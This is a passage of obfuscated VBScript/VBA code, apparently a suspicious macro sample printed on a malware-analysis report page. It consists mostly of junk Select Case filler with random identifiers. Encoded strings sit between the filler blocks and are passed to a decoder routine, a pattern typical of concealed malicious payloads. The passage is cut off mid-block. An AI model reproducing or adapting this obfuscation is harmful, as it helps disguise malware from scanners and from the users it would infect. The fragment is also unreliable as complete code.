         Case 59979
            dqaRI = zvuOz
            wccmla = YGzPb
            Wkiol = Cos(44400 * CBool(77090))
         Case 32214
            GIHpwp = 73134
            EjOBk = Fix(69767)
            sLYKGB = Oct(61933)
End Select
oATQkzbT = tvJWYV("r@AgZAQDA0AQZAMDAhBwMAUDA2AQYAUDAzAwYAEDA3AgZAIDAjBQYAYGAzAAZAQGA2AQZAkDAhBwMAIGAyAAOAUGAjBQYAQGA0AgYAUDAxAwYAcDA4AgMAYGAiBQOAIGAwAgYAQGAzAwNAQ568Y", 5 + 0, 140 + 0)
Select Case zzmcRH
         Case 16437
            LNRWTi = iLmDtj
            QlAEw = wdJfai
            pJMUv = Cos(91911 * CBool(78398))
         Case 6680
            SNKNPu = 98070
            znqmj = Fix(1988)
            MLitiD = Oct(73475)
End Select
Select Case zwrAat
         Case 83514
            qGQWb = joJPl
            TGwpNw = vkVMa
            NLwKzk = Cos(40402 * CBool(33037))
         Case 27743
            tXWKLp = 7035
            NssYrA = Fix(2572)
            iXvYVt = Oct(82094)
End Select
WRkIPzkP = tvJWYV("6jt%FAyAgZAADAhBgMAUGAzAwMAADAjBQMAQGAlBAZAUDAhBgZAgDA3AQYAUGAhBQMAMGAiBANAkDAzAgYAYDAzAAZAkDAzAAOAMGA3AQMAEGA2AwNAYDAwAwNAQGA3AQNAYGA3AwMAYGAxAQNAMDAzAAOA,", 2 + 0, 150 + 0)
Select Case OzjdKi
         Case 31147
            ENCSrl = Gjczh
            pUwJMF = VqXzjb
            OGZhic = Cos(28630 * CBool(37377))
         Case 58120
            ivsMpr = 86155
            JLZcmU = Fix(95274)
            SHOpC = Oct(73671)
End Select
Select Case wfMEw
         Case 54259
            pdzjhh = IjnXK
            mljOuA = jBiVz
            CMAoG = Cos(16038 * CBool(34912))
         Case 63434
            YHzEdP = 68080
            tEHvfN = Fix(94105)
            JzOwnz = Oct(53398)
End Select
mCmZCRoijuh = tvJWYV("4fidzAQDAzAwNAIGF.d", 4 + 0, 11 + 0)
Select Case HfsHvj
         Case 28321
            wLNbRq = zAXkQ
            dWzDrw = DkoZf
            wzWbi = Cos(24141 * CBool(80985))
         Case 28158
            TAVjSa = 33100
            POLtiI = Fix(87424)
            EkEpM = Oct(44324)
End Select
Select Case wVjDT
         Case 67134
            ClWRVN = jzvzQt
            QtwPH = ILMBmH
            AHsdI = Cos(3394 * CBool(27966))
         Case 95489
            ZXjiH = 6027
            lHRCq = Fix(65212)
            noLjaq = Oct(47685)
End Select
noRXZXwk = tvJWYV("KEb0jjAwNAYDA4AgNAQDAzAwMAIDAhBQYAADAmBgYAADrG", 3 + 0, 38 + 0)
Select Case fODwb
         Case 9528
            pOiar = YicsE
            btUFSS = EpwSnG
            EsSaI = Cos(52725 * CBool(14570))
         Case 37366
            CYQqG = 29068
            jqVrz = Fix(52907)
            JkjvA = Oct(55104)
End Select
Select Case iGtjUa
         Case 28636
            cohIX = vzvmI
            LCkiVA = PZwicc
            nEAwzw = Cos(80564 * CBool(53356))
         Case 21685
            ZDjno = 37867
            XqOPf = Fix(43103)
            KUfzn = Oct(57105)
End Select
XrrzDsP = tvJWYV("9XhOAMGAkBQZAQDA2AgMAUDA0AwMAcDAiBgZAIDAmBgNAADA4AQMAcDAyAwYAQDAxAwNAE0Qpj", 5 + 0, 66 + 0)
Select Case EjuWr
         Case 93799
            nKBjrZ = SQGaF
            KlNNHi = oiSqoh
            UWpRz = Cos(44068 * CBool(18093))
         Case 69908
            MjowBr = 8332
            YhluT = Fix(35375)
            OIGIJr = Oct(21872)
End Select
Select Case IRwpr
         Case 81702
            vQRaE = zHjTV
            QCFNpK = oXhSVw
            IcWUs = Cos(14454 * CBool(51736))
         Case 86705
            YsCwl = 18574
            abUsX = Fix(13659)
            EIfFB = Oct(70165)
End Select
EPYsfSGmCT = tvJWYV("mTSYAYDAkBANAMDA2AgNAcDAkBAZAcDAjBgMAQDA3AQZAYDA2AAO3f9V5", 6 + 0, 49 + 0)
Select Case wwbAC
         Case 45027
            MaNVXB = VnNBfI
            rAGjB = RLNCZ
            mawav = Cos(67228 * CBool(73547))
         Case 56537
            AGXAF = 43397
            UREWcH = Fix(13613)
            VUBwTB = Oct(25493)
End Select
Select Case YiPCz
         Case 36336
            cqZBWi = DEcmzI
            YciND = uwKMbV
            VzVkY = Cos(79197 * CBool(9984))
         Case 14767
            vihPa = 82268
            JmjnK = Fix(99142)
            jpvoq = Oct(57021)
End Select
OOztDEHb = tvJWYV("qKNA2AgNAMDAkBAOAcDA3AgMAADAwAAZAADAwAAOvij", 4 + 0, 37 + 0)
Select Case MaBhMD
         Case 68228
            NKDuKj = jnEEz
            ZshqV = ovcAOi
            jEjiOm = Cos(34111 * CBool(33795))
         Case 46958
            kQpZc = 17529
            kmffm = Fix(65042)
            qqKuw = Oct(71584)
End Select
Select Case WFwFL
         Case 15083
            bOkoKW = hilbz
            objqi = LTpoA
            hwWHTV = Cos(80485 * CBool(41635))
         Case 95137
            EEUDrh = 41051
            jPkHiu = Fix(49261)
            XowWm = Oct(48142)
End Select
kHjHAXwpVpR = tvJWYV("CTmNAYDAhBQNAMGA4AANAQGAiBANAgDAzAgZAIGA0AwYAQGA0AANAMDAyAgZAIGAjBgMAUGAmBQYAADA1AQYAUDA1AAOAgDAxAwMAQGAwAANAEDA3AQMAMDAzAwNAUDA3AAZAEGAxAgMAADAmBwYAEGAkBQZAADAhDCz", 4 + 0, 158 + 0)
Select Case pdYzZO
         Case 29598
            dXCXbV = fdwwFl
            ZTbiM = BYbzfU
            aThwiU = Cos(57275 * CBool(13906))
         Case 69506
            XwlsJS = 45918
            TwaEEY = Fix(82569)
            QkEwD = Oct(83967)
End Select
Select Case hkdilH
         Case 1946
            wzrCDt = AGJHzi
            hAdPN = wNzvvP
            KCFAa = Cos(93704 * CBool(98040))
         Case 97506
            qLAHnX = 72721
            IwAJC = Fix(55356)
            VtGsk = Oct(5006)
End Select
AuMGEnSnaz = tvJWYV("0bjCMOAADAhBQYAQDAiBAMAYDAjBQYAQDA4AQOAMGAhBQYAYDA3AgMAIDAxAwMAMGAjBQMAcDAwAgYAUGAkBAMAEDA0AwYAYDQ", 2 + 0, 92 + 0)
Select Case GoiUzB
         Case 18451
            CjZrKS = FHZcc
            zOCIZE = jqGOot
            LZTZk = Cos(21856 * CBool(53167))
         Case 87858
            jKSjH = 76901
            TIaKGa = Fix(61029)
            XzfAL = Oct(55436)
End Select
Select Case SkjUpE
         Case 67176
            IjtlKX = NzSST
            nViWL = QcTSY
            dpXmU = Cos(30986 * CBool(72085))
         Case 98283
            IFmMu = 24375
            KJbXm = Fix(85710)
            PCzdfS = Oct(39881)
End Select
GlBBUD = tvJWYV("KXTjFvPDA0AgZAp", 2 + 0, 7 + 0)
Select Case OVahiv
         Case 51626
            CjUoiP = KRMzSK
            AYkKHk = mGjzU
            RlMiUj = Cos(60162 * CBool(48337))
         Case 83436
            DAzKn = 23328
            SCiXU = Fix(4584)
            XnqHQa = Oct(76356)
End Select
Select Case CZaqN
         Case 72220
            AsAdzT = EPWXIZ
            Jqisz = Uvvzb
            WjzWd = Cos(82229 * CBool(82599))
         Case 4883
            iwMHpN = 43941
            vJjuA = Fix(85949)
            wzQRRE = Oct(95101)
End Select
DOkUcw = tvJWYV("1wdrQYAEGA3AAMAMGAzAgYAMGAkBQZAQDA2AAMAMDA2AQYAQGA4AQMAQDA5AQOAEDA4AwNAkDA4AgZAYGA5Ag@j", 3 + 0, 81 + 0)
Select Case CvwuE
         Case 87029
            jRXdbt = lHGwq
            quJWrQ = jaZkj
            vKLtSS = Cos(23117 * CBool(5013))
         Case 55519
            XWRqi = 24225
            KTOzK = Fix(14915)
            ZDoTNG = Oct(84702)
End Select
Select Case lpZZum
         Case 29267
            witPD = jRnAz
            wtFVzB = hBNRlt
            RWfazn = Cos(74998 * CBool(35918))
         Case 21897
            NlUdA = 11533
            Wvqlsk = Fix(8567)
            tIhRi = Oct(31948)
End Select
VmhpW = tvJWYV("zkpcbhFfYGAlBAZAMGAkBgNAIDA0AwYAIDAwAAZAcDAjBwNAYGAzAAZAEDAmBQZAgDA0AwNAkDAhBwNAMDAwAQYAgDAkBgMAYDAiBgNAUDAyAQOAgDA3AAOAIDAzAAMAIDAhBAZAUD2i", 3 + 0, 130 + 0)
Select Case WOEKm
         Case 25328
            Kwjiw = Nhzhv
            vqCCZ = aBGiFA
            sEPFYp = Cos(37662 * CBool(59930))
         Case 40442
            sFKnwL = 23224
            AWNVS = Fix(38321)
            fYLMu = Oct(61118)
End Select
Select Case uircZl
         Case 57653
            sawZuI = OBiMC
            kbAuN = sFJzvr
            vSwFq = Cos(30900 * CBool(8586))
         Case 5400
            sabFCw = 91402
            FPHkJ = Fix(13449)
            iMnlYj = Oct(56164)
End Select
UnpGZ = tvJWYV("f5pP3lBAMAcDA4AgNAQDAhBgZAUDAxAAMAYGAkBgYAQGAyAwMAEGAjBQNAEGA0AQZAQDAiBgZAEGAwAwMAgDAjBQZAMGAkBgMAUDA3AQNAUGAjBAZAYGAwAQZAMDAlBgZAIDAjBgm5P", 4 + 0, 130 + 0)
Select Case iWNFQ
         Case 93295
            vzwDja = HwuJv
            fjnlLH = icSiz
            Zsjos = Cos(59406 * CBool(33954))
         Case 34665
            KlGXQ = 28791
            qrOol = Fix(41055)
            jctJZI = Oct(36474)
End Select
Select Case tDljw
…

Open this report in the interactive analyzer, or submit your own file for analysis.